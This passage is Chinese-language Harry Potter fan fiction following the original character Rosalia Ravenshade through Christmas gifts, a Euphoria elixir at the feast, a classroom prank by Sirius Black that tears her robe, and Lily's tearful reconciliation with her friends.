她三下五除二地拆掉了包装,首先入目的是一张覆盖在礼物上面卡片。手迹源自斯内普:
【欢欣剂。我改良了很多版,这款效果最好。圣诞快乐。】
卡片之下,明亮的蜜色液体在玻璃瓶中轻微荡漾。
这是真正的圣诞“快乐”。罗萨利亚笑了出来。
除了斯内普的圣诞礼物外,罗萨利亚还收到了来自艾琳夫人的灵肉稳定剂、莉莉手织的围巾、卢平的自动纠错羽毛笔、弗立维教授的《日用魔咒汇编:近代百年》、拉文谢德堡全体画像与劳伊共同赠送的新年新衣、叔叔阿莱西奥的一笔金加隆零花钱以及——很意外的,来自卢多·巴格曼的《魁地奇溯源》。他还用预言家日报报纸包装了封面。(1)
其随书附赠的贺卡内容如下:
【邓布利多校长说是你帮我找回了丢失的巫师扑克牌,那是我爸爸送我的,谢谢你!他说我最好给你回礼,但我的银西可在魁地奇比赛中输了个精光,还希望你不要嫌弃我的二手书——圣诞快乐!】
罗萨利亚笑了笑。
除了巴格曼外,其他人都是罗萨利亚本就计划好的送礼对象。
送给玛丽安娜夫人的是她的作业成绩单集合,送给她叔叔阿莱西奥的是一张能播放圣诞歌的贺卡,歌曲是她自己唱的;送给弗立维教授的礼物是她用魔咒做的时间沙漏——利用了漂浮咒的部分原理实现了沙子倒流,算是学以致用了;送给卢平的是一套巫师棋盘,目前暂存在格兰芬多休息室里;送给莉莉的是一本厚厚的《奇妙之旅:魔法冒险故事集合》,已经提前交给学校的猫头鹰送往她的家中;而送给艾琳夫人的则是托劳伊采买的几种少见的魔药药材。(2)
至于斯内普。罗萨利亚得意地心想。他现在应该在仔细打量那一整套的魔药师专用工具包吧。
圣诞宴会正式在礼堂开始了。
罗萨利亚在出门前抿了一小口欢欣剂。它尝起来有一股甜滋滋的蜂蜜酒味,甚至带有真实的醇香。咽下去时,一种清爽的椒薄荷气味会涌入鼻子里,但并不刺激。
很快,几乎不到一分钟,欢欣剂就让罗萨利亚知道它为什么叫欢欣剂了。虽然不至于手舞足蹈,但从寝室到礼堂的整段路,她都是又蹦又跳地去的——而且她还没意识到自己这么做了。
一进门的时候,罗萨利亚就正好碰上了弗立维教授。弗立维问她:“罗萨利亚,是有什么高兴的事发生吗?”
“不知道啊!圣诞快乐!教授!”罗萨利亚直接拉起弗立维原地转了一圈,逗得后者扶着帽子呵呵大笑。
不但如此,欢欣剂还让罗萨利亚的食欲变好了。她一口气吃掉了餐桌上非常多的烤肉,表现得活像从没吃过这么美味的食物一样,连她旁边那几个许久没尝过滋味的幽灵都心中发痒。
桌子上的彩包礼花更是令罗萨利亚爱不释手。她高兴地放了几个,然后又跑到麦格教授面前说:“教授,要是这个礼花还没拉出兔子,您能帮我变几只吗?”
麦格教授则半是严肃半是玩笑地说:“拉文谢德小姐,如果你能靠自己办到而不是指望我的话,我会和你现在一样高兴。”
“真的吗?”她听完麦格教授的话后,掏出胡桃木魔杖就对着礼花筒嘟哝了一个变形咒。
也不知道是不是受到欢欣剂的鼓舞效果,下一刻,罗萨利亚真的成功将手中的礼花筒变成了一只毛茸茸、活生生的兔子。
“什么?这是你自己学的?”麦格教授惊愕地张大了嘴巴。她这表情看起来可没有一点高兴的样子。
麦格教授朝罗萨利亚怀中的兔子伸出手,那兔子还耸动着鼻尖嗅闻她。只是很快,还没等它贴到麦格教授的指头上,兔子就又变回了礼花筒。
罗萨利亚失落地说:“啊,我维持不住了,麦格教授。”
麦格教授收回手,严肃地说:“我更希望你能按照课程章程来学习,拉文谢德小姐,急于求成反而容易酿成错误。”
罗萨利亚可怜巴巴地望着她。
麦格教授快速地眨眨眼,说:“但你确实——很有天赋,甚至超过许多高年级学生的水准,我希望你在后续学习中能稳健地进步,小姐。”
闻言,罗萨利亚终于笑了:“麦格教授,那现在您能和我一样开心了吗?”
麦格教授的嘴角轻轻扬起,还回头看了一眼边上的邓布利多,然后欣然说道:“好吧,如你所愿,拉文谢德小姐,我现在就很高兴。”
因此,当斯内普来到礼堂时,看到的就是这幅画面:罗萨利亚满场跑来跑去、到处讨人欢心——不管是她认识的还是不认识的,反正一讨一个准。
斯拉格霍恩正在一旁和邓布利多举杯畅饮,斯内普听到对方新奇地说:“我从没注意过拉文谢德小姐是个这么活
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泼可爱的女孩儿?”
而邓布利多正喝得起劲,因为斯拉格霍恩这次带来的贵腐酒出奇地甜。他乐呵呵道:“毕竟是圣诞节,霍拉斯。你可以再给我倒一杯吗?”
“没问题!”
终于,罗萨利亚发现斯内普来了。她跳过来直接给了他一个拥抱,斯内普整个人都僵住了。
“圣诞快乐!西弗!”
“……你喝了多少欢欣剂?”斯内普拉开她,耳朵竟然有些红。
罗萨利亚伸出一根手指。
“……只要别说是一整瓶就行。”他小声说。
“对,一整瓶。”罗萨利亚学着他的语气说。
“……罗萨利亚。”
罗萨利亚又笑了:“骗你的,我就尝了一——小口。”
“一小口?一小口是多少?我以为你至少能明白滴瓶的用法——”
“是吗?是滴瓶吗?我没发现啊。但是我好开心,西弗,我感觉所有的烦恼都消失了。现在就是伏地魔要杀我,我都能笑着——”
“你在说什么——”斯内普脸色变了,立刻伸手去捂她的嘴,把人拉到最近的墙角:“你——你对他们摄神取念了?”
“我说过我不是那种随随便便看别人脑子的人。”罗萨利亚嘟囔道。
“那就再多控制自己收敛一点,别乱说话了,几个小时后你会后悔的,罗萨利亚——”
“西弗。”
声音的震动再次从斯内普的掌心传来。罗萨利亚正眯着那双和欢欣剂颜色一模一样的眼睛笑着。
“那套工具,你喜欢吗?”她问。
“我……”“唔!孩子们,你们在这站着呢?”
庞弗雷夫人正巧从侧门进来。斯内普一听到她的声音就立刻把手撤到身后去了。两人为她让开一条路。
“庞弗雷夫人,圣诞快乐。”罗萨利亚笑着说。
“圣诞快乐,孩子。”庞弗雷夫人欣然道:“很高兴从那天后我没再在校医院看到你。还有,你这个年纪的女孩子就是要多吃饭——这位先生!”
庞弗雷夫人皱起眉头惊呼一声,她的视线明显落在斯内普身上,难以置信地说道:“你瘦得像一根艾草,简直不像话!你得多补充营养了,先生!”
斯内普用很小的声音咕哝了一句好的。
“庞弗雷夫人。”邓布利多远远地呼唤。庞弗雷夫人听到后便微笑着走上前去,角落里再次只剩下斯内普和罗萨利亚两个人了。
但罗萨利亚此刻已经忘记了刚才的问题,她只是伸手推斯内普,说道:“庞弗雷夫人说的对,你该吃饭了,走吧,我们去赫奇帕奇餐桌——”
等她再想起来这件事的时候,欢欣剂的药效已经过了。罗萨利亚佯装镇定但同手同脚地走出了礼堂,然后找了个角落蹲下了。
斯内普就在后面跟着她出来,默默地站在一旁。
“你好点了吗?”许久之后,他问。
罗萨利亚听见自己“嗯”了一声。
“生气了?”他又问。
“没有。”罗萨利亚立刻回答。
又过了一会儿,斯内普略有些别扭的声音响起来:“其实,刚刚没人觉得你那样不好。”
罗萨利亚又“嗯”了一声,还是没什么反应。
最后,斯内普只好说:“今天这段也纳入‘禁止S.S.摄神取念’清单?”
罗萨利亚满怀感激:“永久纳入,谢谢。”
18. 关禁闭
直到圣诞假期结束,欢欣剂都还在追着罗萨利亚发挥它的余威。开学后的第一节变形课,麦格教授在看到她出色完成的课堂作业后,还当着全班的面提起了此事——当然,她指的是罗萨利亚在圣诞节期间成功将礼花筒变成活灵活现的兔子。
但罗萨利亚还是因为想起了当天她社交恐怖分子般的行径而尴尬地脚趾缩成一团。
很快,又到了上黑魔法防御课的时候了。
自从大家认清了黑魔法防御课的“本质”之后,这堂课就变得基本没人听了,因为教授不点名,甚至拉文克劳和赫奇帕奇的学生还会比平时少那么一点——斯莱特林和格兰芬多倒是人数齐全,不过倒不是因为他们喜欢这堂课,只是两个学院的人致力于相互举报缺席来扣对方的学院分。
总之,放假后的第一堂黑魔法防御,同时作为当天的最后一堂课,毫不意外地成为了学生们扎堆讨论假期生活的场地。
也不知道詹姆、小天狼星、卢平、彼得和莉莉在来回火车上有过什么交际,反正这四个人刚到教室就有说有笑地奔着莉莉四周的座位来了,脸上明晃晃写着“待会我们要和你聊天”。
意识到这一点的罗萨利亚,眉梢嘴角都开始轻轻抽搐。她眼睁睁看着詹姆挨着她身边的莉莉坐下了,彼得则尾随詹姆到他正后面的位置落座。罗萨利亚一转头,正好对上卢平的视线,对方便朝着自己身后走过来。
她刚想松一口气,却看到一只手忽然搭在卢平肩膀上,把他拽了回去。
小天狼星从卢平身后探出脑袋,朝罗萨利亚露出了挑衅的微笑,他说:“我要跟你换,莱姆斯,我不要坐鼻涕精后面。”
罗萨利亚抬手拽住了斯内普的袖口,说道:“太可惜了,我不是很想让狗坐在我后面。”
小天狼星搂着卢平的胳膊收紧了:“你说谁是狗?”
罗萨利亚嗤笑一声,转过头去不再看他:“谁听完叫了谁就是。”
“你——”
“好了别吵了!教授马上来了!”莉莉赶紧拢过罗萨利亚,留给小天狼星一个警告的眼神。
小天狼星又挑起眉毛望向詹姆,明显是希望对方能说点什么,可詹姆只是伸手拍了拍彼得面前的桌子说:“西里斯,别理撒谎精,你坐我后面!”
彼得欲言又止地抬起自己的屁股——却被小天狼星抬手摁了回去。
他简直快被气笑了:“用不着,我就要坐撒谎——”
卢平的视线本就在几人之间打转,听到这话,他非常及时地在“撒谎精”这个词出来前“嘘”了小天狼星一声,连忙拉着他一起坐下,温和劝言道:“别这样,西里斯。”
“很有意思。”斯内普突然冷嗤一声。
他没有转过头去,而是用恰到好处的音量对罗萨利亚说:“我好像听见他喊你的小名利亚(Lia)。”(1)
罗萨利亚心领神会,她装模作样地抱紧双臂,也小声说:“你别说了,第一次有人用这个小名喊我,我鸡皮疙瘩起来了。”
看着两人一唱一和的样子,小天狼星整个人都抖了起来。卢平见状,连忙在他大叫前捂住了他的嘴,劝说道:“罗萨利亚,拜托,你们俩也别说了!教授来了,西里斯,教授来了——别掏魔杖——格兰芬多没有多余的分可以扣了——”
黑魔法防御课终于开始了。
傲罗教授一直背对着他们,疯狂在黑板上抄写教科书上的内容。而台下,罗萨利亚的余光里,詹姆也一直在给莉莉传小纸条,一张接着一张。莉莉根本没有搭理他,一直在埋头写变形课的作业。
反常的是,罗萨利亚背后寂静得像是死人了一样,这简直不像小天狼星能守住的安分——尤其是对方刚刚还在用想咬死她的眼神瞪她。哪怕卢平大概率会帮她拦着小天狼星的一些小动作,她也不得不保持十二分的警惕。
“撕啦——”
正当罗萨利亚打算用摄神取念探知一下小天狼星在憋什么坏水时,她左边突兀地传来一阵纸张撕裂的声音。
是莉莉发出的。
她像是彻底烦了,随手从羊皮纸上撕下一块,在上面刷刷地写了几个大字送给詹姆。
詹姆接过后,不知道是看到了什么,红润的脸涨得更红了。他的胸口剧烈抽搐,鼻子就差喷出火了。他朝着莉莉的方向低吼道:“伊万斯,你别不识好歹了!”
这一声显然有点大。不光其他学生窃窃的聊天声停下了,傲罗教授也终止了板书。
他转过身问道:“这位先生,你有什么话想说?”
詹姆显然已经火气上头,他立刻用充满怪气儿的语气对傲罗教授说:“我想说什么?我想说——您既然一开始就没想好好教课,现在又回过头来多管闲事干什么?”
傲罗教授听完,脸一阵红一阵白,说道:“格兰芬多是吧——顶撞教授,扣十分。我会把这件事告诉麦格教授。”
“好极了!”詹姆直接站了起来,甩着巫师袍就大步流星地往外面走。
“擅离课堂,格兰芬多再扣二十分。”傲罗教授话音一落,教室后面便有一头小狮子发出了呻吟。
“加我一个。”
突然,一直安静的小天狼星拍桌而起。他用拿着魔杖的手揉了揉自己的眼睛,一副刚睡起来的模样,说道:“我受够了天天看自动书写羽毛笔上课了——让让,莱姆斯·卢平——”虽然嘴上这么说,但他丝毫没有等待,直接从卢平身上跨了过去。又一眨眼,这身影就已消失在门外。
其余学生全都惊呆了。
“……格兰芬多,再扣四十分!一共扣掉七十分!我还会让麦格教授关这两个人禁闭。”傲罗教授说。
莉莉的脸色一下子就白了。
卢平叹息了一声。而隔着他一个座位的彼得无措地缩着手,正试着通过假装自己一点儿也不认识詹姆和小天狼星来逃避其他格兰芬多学生投来的凶狠目光。
罗萨利亚在心里拉响了炮竹:两个烦人精都走了!天下还有这等好事?她转过头,想问问莉莉都在纸上说了什么“好话”,谁知却看到对方那双绿色眼睛蒙了一层薄薄的水雾。
她好像要哭了。
“铃铃铃……”
下课铃响起。最先冲出教室的依然是傲罗教授,只是这次,他的大跨步是朝着麦格教授的办公室迈去的。
紧接着,莉莉从椅子上站了起来:她谁也没理,也什么都没说,抱起书本就飞快地往外跑。斯内普后知后觉地扬起脑袋,罗萨利亚则赶忙喊了一声:“莉莉,等等我!”
她下意识想要起身追出去,却忽然听到自己身后又传来“撕啦”的一声。
罗萨利亚愣住了。她侧身低头,只见自己刚才坐的凳子上,正有大半边巫师袍和一片蓝色裙摆在上面黏滋滋地冒泡。
教室外面爆发出一阵大笑。
随后就是跑远的脚步声。
卢平马上就意识到这是谁的恶作剧了。他手脚慌乱地下拿起自己的斗篷,想要递给罗萨利亚,却被一下子推开了。
“滚开!”是斯内普的声音。
罗萨利亚被他用长袍包了起来。
“你如果真的想做点什么——就去问问你的那帮朋友为什么这么做——”斯内普冲卢平苍白的脸吼叫着。
“这是怎么了……”
“不知道,是斯莱特林又在和格兰芬多吵架吧?”
教室后面嘀嘀咕咕的声音不断响起,有人不在意、有人张望着,但因为卢平挡在罗萨利亚正后方,所以没人看清发生了什么。
罗萨利亚按住斯内普的肩膀,一手掰过他的脑袋说:“西弗勒斯!我没什么事——内裙有好几层,而且我还有斗篷可以披上。好了,回答我的问题,施展粘黏咒时挥杖不到位会发生什么?”
斯内普:“……咒语粘黏性减弱但腐蚀性会增强——但是——”(2
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“没错。”罗萨利亚转而对卢平说:“我不想为难你,莱姆斯,但你得把这件事原原本本告诉布莱克。顺便替我问问,他是只想把我粘在椅子上,还是想让我当众出这样的丑,好吗?”
卢平点了点头,动作僵硬地像整个人快碎裂了一样。
很快,詹姆和小天狼星的禁闭处罚就被正式下达给了各个学院。不用想都知道,麦格教授气坏了。
她快步走到格兰芬格餐桌最前面,一挥魔杖,餐桌上的食物瞬间消失。整个格兰芬多学院立刻安静下来,而离翠绿长袍最近的几个学生紧张得把嘴里没吃完的面包直接干巴巴咽了下去,噎得面色紫红。
“波特先生和布莱克先生。”麦格教授说道:“我想我之前对你们的惩罚还是太轻了,以至于现在、你们能把自己的教授气到亲自登门我的办公室!”
“未来一个月——没错——你们俩,需要擦拭所有奖杯和勋章,同时保养四个学院的魁地奇赛用扫帚,不许借助任何魔法!我最后一次向你们所有人强调,你们永远、永远——不应该也不能——对你们的教授不敬!”她锐利的声音清晰地传进每一头小狮子的耳中。
“你们二位,但凡还存有一丁点对格兰芬多的荣誉感,就应该想想怎么在剩下半年的时间里把这些分数补回来!”
詹姆和小天狼星自始至终低着头,没人能看清他们的表情。
麦格教授在桌前又停了一会儿,然后才敲敲桌子把晚餐重新变了回来,说:“继续吃饭吧。”
“……她刚才也太夸张了。”眼看着麦格教授走远了,詹姆才咕哝了一句。
“整整一个月——时间太长了,我不可能照做的,詹姆。”小天狼星压低声音道:“我做不到!”
“你该庆幸麦格看起来还不知道你干的事。”詹姆用手肘推了小天狼星一下,他的嘴角微微上扬,但又碍于其他人的视线不敢笑出来:“否则说不定更久!”
小天狼星一耸肩膀,无所谓地说:“谁让她和那个鼻涕精先挑衅我的——真遗憾,詹姆,你要是等等再出去,我还能给鼻涕精也来一个粘黏咒。”
“西里斯。”
小天狼星知道是谁在喊他,但是没抬头:“又怎么了,莱姆斯。你还要替撒谎精说好话?她之前是用坩埚救过你的命?”
卢平把刀叉放下了。他看起来面色憔悴,像是受了什么折磨:“不,我是想告诉你一件事。”
“说。别这么吞吞吐吐的。”小天狼星又拿起鸡腿啃食。
“你只是想把罗萨利亚粘在凳子上吗?”
“不,我还想把鼻涕精也一起粘在凳子上。”
旁边的彼得突然“哈”地一声笑了,他捧场似的咧起嘴,却见几人没有一丝想笑的意思,只好收敛起牙齿继续沉默。
“你看,连彼得都知道。”小天狼星随口道。
“……你知不知道,”卢平深吸一口气,鼓足了勇气,“你的粘黏咒出了问题,它失败了。”
“撒谎精不是没追上莉莉吗?难道不是她被粘住了?”詹姆插话道:“我和西里斯在外面那么努力地大笑——西里斯,别人不会以为我们俩疯了吧?”
“那就得怪你了,莱姆斯。”小天狼星用牙咬了咬鸡腿骨头,依然不以为意:“谁让你一直盯着我,害得我施咒不成功。”
卢平听见这话,身体晃了晃。
半晌,他终于道:“是啊。是我害得你的粘黏咒出了问题。但是西里斯,罗萨利亚是个女孩子——”
小天狼星开始不耐烦了:“我知道这个,你到底要说什么?”
“你那个失败的粘黏咒,它把罗萨利亚的巫师袍还有……还有部分裙摆,一起粘在凳子上了。”卢平轻声说:“她外袍和裙子都被拽破了,当时很多人都在。你知道吗?”
小天狼星停止了手上的动作,抬起头看他。
“……你说什么?”
19. 朋友
“奇怪。”
“级长,什么奇怪?”
赫奇帕奇级长正在用叉子戳盘中的土豆,他说道:“今晚竟然没见狮鹰蛇(Lion-Eagle-Snake)。”
“什么是狮鹰蛇?”有人问。
“你们没注意吗?从开学以来,一直有三个分别来自格兰芬多、拉文克劳和斯莱特林的学生到我们这儿吃饭。”这位级长终于把烤马铃薯插起来了。
他反复检查马铃薯金黄酥脆的外表,将其放到鼻子跟前嗅了嗅,又丢进嘴里缓慢品尝,最后摇头晃脑地终于确认了什么,说道:“没道理不来啊,我们赫奇帕奇的饭还和放假前一样好吃。难道是被什么事绊住脚了?”
“……”
“哎,你们说,他们今晚还会回来吃饭吗?”
“……”
大概率是不太能了。
把卢平、彼得以及其他无关的人都打发走后,罗萨利亚先尝试了使用修复咒来修理巫师袍和裙摆,但很可惜,没有效果。于是她只能先回到拉文克劳女生宿舍换新衣服。由于现在正是学院学生进出休息室的高峰期,不好太招摇,斯内普便站在外面靠着墙壁等她。
很快,罗萨利亚就重新从青铜鹰首门里出来了。
斯内普的脸色依然阴沉得很。
其实,刚刚在教室里,罗萨利亚是有点被斯内普的激烈反应吓到了的。
不知道是不是因为撕裂的衣服让他回忆起了托比亚的事情。
她把巫师袍还给斯内普——回来的路上,他坚持让罗萨利亚在斗篷下穿着它。斯内普解开斗篷重新披上,罗萨利亚打量着他,顺口说了句:“你身上这套衣服,是不是有点短了?”
斯内普里面穿的还是罗萨利亚大半年前送的那身,还套了保暖的针织外衣——或者说,他一直穿的都是这身。
“这就是你的全部感言?”斯内普重新系好斗篷,嘶嘶地说:“你应该把这件事告诉弗立维教授,让他扣格兰芬多的分数——至少扣五十分。”
闻言,罗萨利亚快笑得不行了。
她说:“没事哈哈——等以后有机会了——格兰芬多会被扣掉五十分的哈哈哈……”
斯内普:“……你到底在笑什么?”
“我想起高兴的事——”罗萨利亚说:“先别管这个了,我们先去找莉莉。”
“到底怎么回事?”斯内普跟上她的脚步问。
“波特那个家伙在上课的时候一直骚扰莉莉,莉莉忍不了了,就写了一张纸条给他,估计不是什么好话,所以波特才暴跳如雷。”罗萨利亚微微皱起眉头,道:“但莉莉看起来也不好受,可能是觉得自己害得学院扣分了——所以我才不想让这事儿也传到麦格教授那里。西弗勒斯,你知道莉莉不高兴的时候一般会去哪里吗?”
斯内普沉吟片刻:“也许在黑湖。”
两个人直奔城堡之外。
如斯内普所猜测的那样,黑湖边上,莉莉正一个人窝在草地上。
“莉莉——”罗萨利亚远远地就开始喊她。
那抹深红头发转头过来了,声音小小的:“罗萨……西弗……”
落日之下,罗萨利亚从草地上俯冲过去给了莉莉一个拥抱。莉莉的眼睛已经哭得和黄昏一般红了。
“……呜……就是这样,罗萨,我想不明白……我假期回去、佩妮呜……佩妮也不理我了……”莉莉抽噎着说:“詹姆斯……亏我还因为魁地奇,呜呜对他改观了一点,但他还是在我面前喊你们俩鼻涕精和撒谎精……我早就说过让他不要喊了,他不听,西里斯还老是站在他那边……学院分……呜呜还有学院分……”
湖边,罗萨利亚把莉莉抱在怀里,轻轻拍着她的背。斯内普则被迫应两人要求站得远远的。
“还有你们,你和西弗你们俩……你们练习黑魔法防御,一开始都没叫我……呜我在想,你们是不是生我的气了……”莉莉哭得可伤心了,话都说得语无伦次起来:“我真的很把你们当朋友……但是、我真的不知道、我不应该这么哭的……我应该坚强起来……但是、但是圣诞……我想回去看佩妮,呜呜佩妮不理我……”
罗萨利亚轻声哄她:“你不知道怎么平衡你所珍视的人之间的关系,是不是?”
莉莉呜咽着点点头。
“没事的,莉莉,你已经很努力啦。”罗萨利亚摸摸莉莉的头发:“别对自己太苛责,谁能做到尽善尽美呢。你和佩妮可是亲姐妹啊,又不是深仇大恨,难道还能一辈子不搭理对方了吗?总会有和好的一天的。”
“波特和布莱克那两个——人,你也从不抱有偏见,不是吗?而且你一直都在他们面前勇敢地维护我和西弗勒斯,有几个人能做到呢?但比起他俩,我还是宁可你和莱姆斯交朋友……”
“至于学院分——这又不是你的错,干嘛把事情都揽到自己身上啊。分数没了就没了,莉莉这么聪明这么有天赋,一眨眼就又把它加回来啦。”
“而我和西弗勒斯,我们确实要道歉——对不起。我们只是怕你对练习过程中可能涉及黑魔法的部分感到抵触,才没有第一时间邀请你加入,其实我们俩应该先问问你的意见的,是不是?”
莉莉又重重地点点头。
这么做完,她又“噗”一下笑了。莉莉望着罗萨利亚那双温和的眼睛,不自觉地说:“罗萨……你说话好温柔……好像我妈妈啊……”
“那得看我是在跟谁说话。”罗萨利亚笑着给莉莉擦眼泪。
莉莉抬手胡乱抹去眼泪,咧嘴笑着露出一口白牙:“罗萨,我感觉好多了——啊,真是太丢脸了,我以后绝不会这么哭了。”
“那你想吃晚饭吗?天都黑漆漆的了。”罗萨利亚抬头估摸着天色,顺便望了一眼还在直直地瞧着她俩的斯内普。
“再等一会儿。”莉莉揪着罗萨利亚的外袍小声说:“等我眼睛消肿了,我们再去。”
就这样,等三个人回到霍格沃茨城堡的时候,已经走廊上都已经没几个人了
“嘿——你们三个——”一个醇厚的声音传来。
罗萨利亚、莉莉和斯内普正要往礼堂里面走,一个金色头发、身上别着“P”字徽章的赫奇帕奇就朝他们走来了。
“嗨?”罗萨利亚有点迟疑地打了声招呼。
难道这蹭了大半学期的饭,就要到此为止了吗?
“你们三个,”赫奇帕奇级长说,“回来得太晚了吧?走吧,跟我去厨房吃点新鲜热乎的。”
说完,他自顾自地往外走了几步,见三人没有跟上,又招招手:“来啊。”
莉莉小声问:“赫奇帕奇的男级长?他认识我们?”
斯内普说:“他是真心邀请我们去?”
罗萨利亚拉起两人:“走吧,别多想了。赫奇帕奇能有什么坏心思呢。”
然而,此刻礼堂内,小天狼星、詹姆、卢平还有彼得还坐在格兰芬
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多餐桌上。
詹姆的手一直在揉自己的头发,彼得还在捧着一筐凉掉的薯条吃。卢平低着头,小天狼星则双手交握,目光紧盯着门口。
“我说——明天吧好不好?”詹姆道:“这个点了,她肯定不来礼堂了。那个伊万斯也不在,她俩肯定在一块呢——没准那个鼻涕精也在,我可不想看见他。”
“我同意。”彼得含含糊糊道。
见卢平还是没说话,詹姆又道:“莱姆斯,差不多得了。本来就是看在你的面子上我们才会在这里等。再说西里斯和你都不是故意的——而且不是没什么严重的后果吗?”
“没错!”彼得附和道。
小天狼星吸了一口气,双手松开。他略微活动肩膀站起来,卢平的眼睛立刻追着他上扬。
小天狼星说:“我觉得詹姆说的对,我又不是故意的——别这么看我,莱姆斯。”
詹姆一把揽过小天狼星,又拍拍彼得的肩膀:“别吃了,走了。莱姆斯你自己跟上。”
直到三个人走到礼堂门口,卢平才缓缓地从座位上起来,深深地、烦躁地叹息一声。
回到格兰芬多休息室后,卢平就独自回到宿舍去了。而詹姆、小天狼星和彼得则留在壁炉前的沙发上玩抛接球。
“干得漂亮,詹姆!格兰芬多加十分!”小天狼星吆喝道。詹姆得意洋洋地甩了一下头,抬起手跟他默契地击掌。
彼得跑到门前寻找自己刚刚没接到的球,恰在此时,休息室的门在他面前打开了。
“晚安胖夫人。”
“晚安亲爱的。”
莉莉走了进来,正和蹲在地上捡球的彼得打了个照面。彼得耸动鼻子,拿起球就小步走开了。詹姆和小天狼星便看到了莉莉。
詹姆马上换了个姿势坐。他侧过身子,假装根本不认识莉莉。小天狼星见状斜睨他一眼,嘴巴都张开一半了,却又仿佛想起了什么,把嘴闭了回去。
莉莉自然也不理他们,而是压着眉头直奔女生宿舍去了。
“莉莉!”小天狼星终于还是喊住了她。
莉莉脚步停了,却没有回头:“什么事?”
小天狼星手里捏着彼得刚捡回来的球:“今天的事,你可别把我们想得太坏了,那是个意外,我可不屑那样对她——你能不能顺便也跟拉文谢德说一声。”
“意外?不屑?”莉莉转过身来了:“我真惊讶,你喊了她大半年的‘撒谎精’,然后在今天终于得出了一个结论叫做——自己的品德十分‘高尚’只是嘴巴不受控制?”
“不是——我是说——”小天狼星说到一半,戛然而止。他的面色狐疑起来:“等一下?你知道我说的是什么吗?”
“我耳朵没聋,更没时间在这听你突发奇想的‘忏悔’。你们俩,少来烦我们比什么都强。”莉莉冷冷地瞥他一眼,目光还经过了偷瞥的詹姆。后者仿佛被刺痛般猛地站起身来:“少来烦‘你们’——所以你又和他们俩好了?”
“我们本来就一直很好!”
“哦——是吗——伊万斯?魁地奇比赛,你因为那俩人丢下你一前一后溜走而难过的时候,怎么不这样说?那会儿是我和西里斯在逗你开心,你忘光了?还有,撒谎精和鼻涕精在打人柳附近鬼鬼祟祟,不也是我们好心告诉你的吗!回程的火车上,你因为你姐姐的事伤心时,也是我们几个在支持你——”
“所以呢,现在你又不需要‘我们’了?”
20. 夜游
莉莉的肩膀在抖动,她一句话没说地转身回到宿舍,不多时又重新走出来,把手里的一本《现代魁地奇战略》扔到了几人面前的桌子上。彼得被她的动作吓得一哆嗦。
莉莉说:“是——没错——随便你怎么想吧,波、特,就仿佛我们的相处全是因为我个人的需要——拿回你的书,我以后不会再跟你讲麻瓜世界的事了,也不想再听你谈论魁地奇——有这个空隙,你还是自己多看看它吧,免得以后进球次数赶不上你扣分的速度,格兰芬多‘未来的’追球手明星!”
说完,她的身影便彻底消失在女生宿舍门后。
詹姆死死盯着那本《现代魁地奇战略》,脸一阵红一阵白。半晌,他低吼道:“都怪撒谎精!一定是她又借今天的事挑拨离间了——”
“不是她。”
“什么?”
“莉莉不知道那事儿,否则前面就不会那么说了。”在一旁的小天狼星头疼似的抬起手搓了把脸。
二人的争吵他几乎一句也没听进去,他的脑子早已经完全被另一团窝火占据了。
小天狼星把自己摔在扶手椅的靠垫上,随手拽过抱枕捂住自己的脸,仿佛陷入黑暗后就能停止思考一般。因此,也没人听清了他后一句的嘟囔:“……她要是真想挑拨离间,为什么不趁机告状?”
壁炉中火光鼓动,炭火烧得噼啪作响,一整天的喧嚣终于在白噪音中归于宁静。
夜阑人静的时刻,轻鼾声此起彼伏。
深红色法兰绒帷幔下忽然传出一声很轻的呼唤:“詹姆、詹姆,我睡不着——詹姆斯——你睡了吗?你——睡了——吗?”
没人应答。
那声音发出一声不满的闷哼,又喊道:“莱姆斯——你睡了吗——”
依然没人应答。
“彼得——你——”
一声重重的鼾声打断了他。
“算了。”
小天狼星直接撩开帷幔翻身下床,从詹姆斯床下翻出闪着银光的隐形衣,随便往身上一裹。很快,公共休息室里就出现了漂浮的羽毛笔和一张羊皮纸。
羽毛笔在羊皮纸上重重地划出了几个大字:
【给拉文谢德:
关于你衣服的事,那是个意外。但是谁让你惹我的,这只能算你自己倒霉。还有,别以为我不知道,你在利用莱姆斯的善心。】
羽毛笔悬停在空中片刻,又飞快地在这句话下面加了一句:
【我会盯着你的,撒谎精。】
最终,羽毛笔落下了,羊皮纸在空中一抖后也不见踪影。格兰芬多休息室的大门缓缓敞开,胖夫人此时正睡得酣然。
小天狼星顺着楼梯一路向塔楼爬去,脚步越来越慢。
真是烦透了,他一点儿也不想去——但是根本睡不着!
小天狼星讨厌罗萨利亚·拉文谢德。这个女孩和他一样,在病态纯血家族降生,但却选择顺从家族,甚至还跟斯莱特林的人走得很近——这不禁让他想到了自己那软弱又愚蠢的弟弟雷古勒斯·布莱克。
当然,他们又不完全一样。小天狼星又想起来对方在霍格沃茨特快列车上说那话时的模样:她那双蜜色的眼睛像鹰眼一样锐利,同时还带着一丝轻蔑——这是他那个弟弟摆不出的眼神——她看着自己,然后断言他更像一个斯莱特林。
这简直是在捅他的心窝子——她懂什么?她懂什么!他想杀了她的心都有了。
小天狼星自诩不是一个在乎他人想法的人。可罗萨利亚那番话实在太过刺耳,刺耳到令他迫切地想要推翻她的说辞,刺耳到让他每逢随心所欲之际,总能感到一股莫名的想要发泄的急躁。
因此,当他从莱姆斯那里得知了粘黏咒的事后,一种“撒谎精很可能就此把他归入流氓之辈,并趁机把他钉在斯莱特林行列之中”的想法,就开始从脑中不断冒出来折磨他。
他怎么能让她自以为是地得逞?
……反正,他把纸条放到拉文克劳休息室就回来——他就做这么多了!就当是为了睡个好觉!至于撒谎精看不看得到那就跟他没关系了,反正也没有署名。小天狼星这样想着,脚步又加快了一点——
“咚——”
忽然,一道不轻不响的撞击声从走廊另一头传来。夜间的城堡寂静无比,小天狼星经验丰富地判断出这不是寻常情况下会发出的动静,于是他放轻了呼吸和脚步,走得近了一些。
很快,他就听到了窸窸窣窣的声音——走廊尽头,似乎有人在交谈。
这么晚了,会是谁?
尽管小天狼星知道,他现在最好的选择应该是无声无息地绕开他们,去近在咫尺的拉文克劳休息室放下纸条再回寝室睡觉,可探究和冒险的本能却刺激着他靠近。
交谈的声音在他耳侧变得愈发清晰了:
“……就交代你办这一件事,你都搞砸了……当然需要我来出马……”这道声音来自一个女人。
“……是、是……但我没想到,你会选择单独行动……”结巴着回答她的,则是一个男人。
他绕过拐角,小心翼翼地试探,甚至几乎看到了其中一人的衣角。同时,二人之中女人的声音也变得尖细起来,那人道:
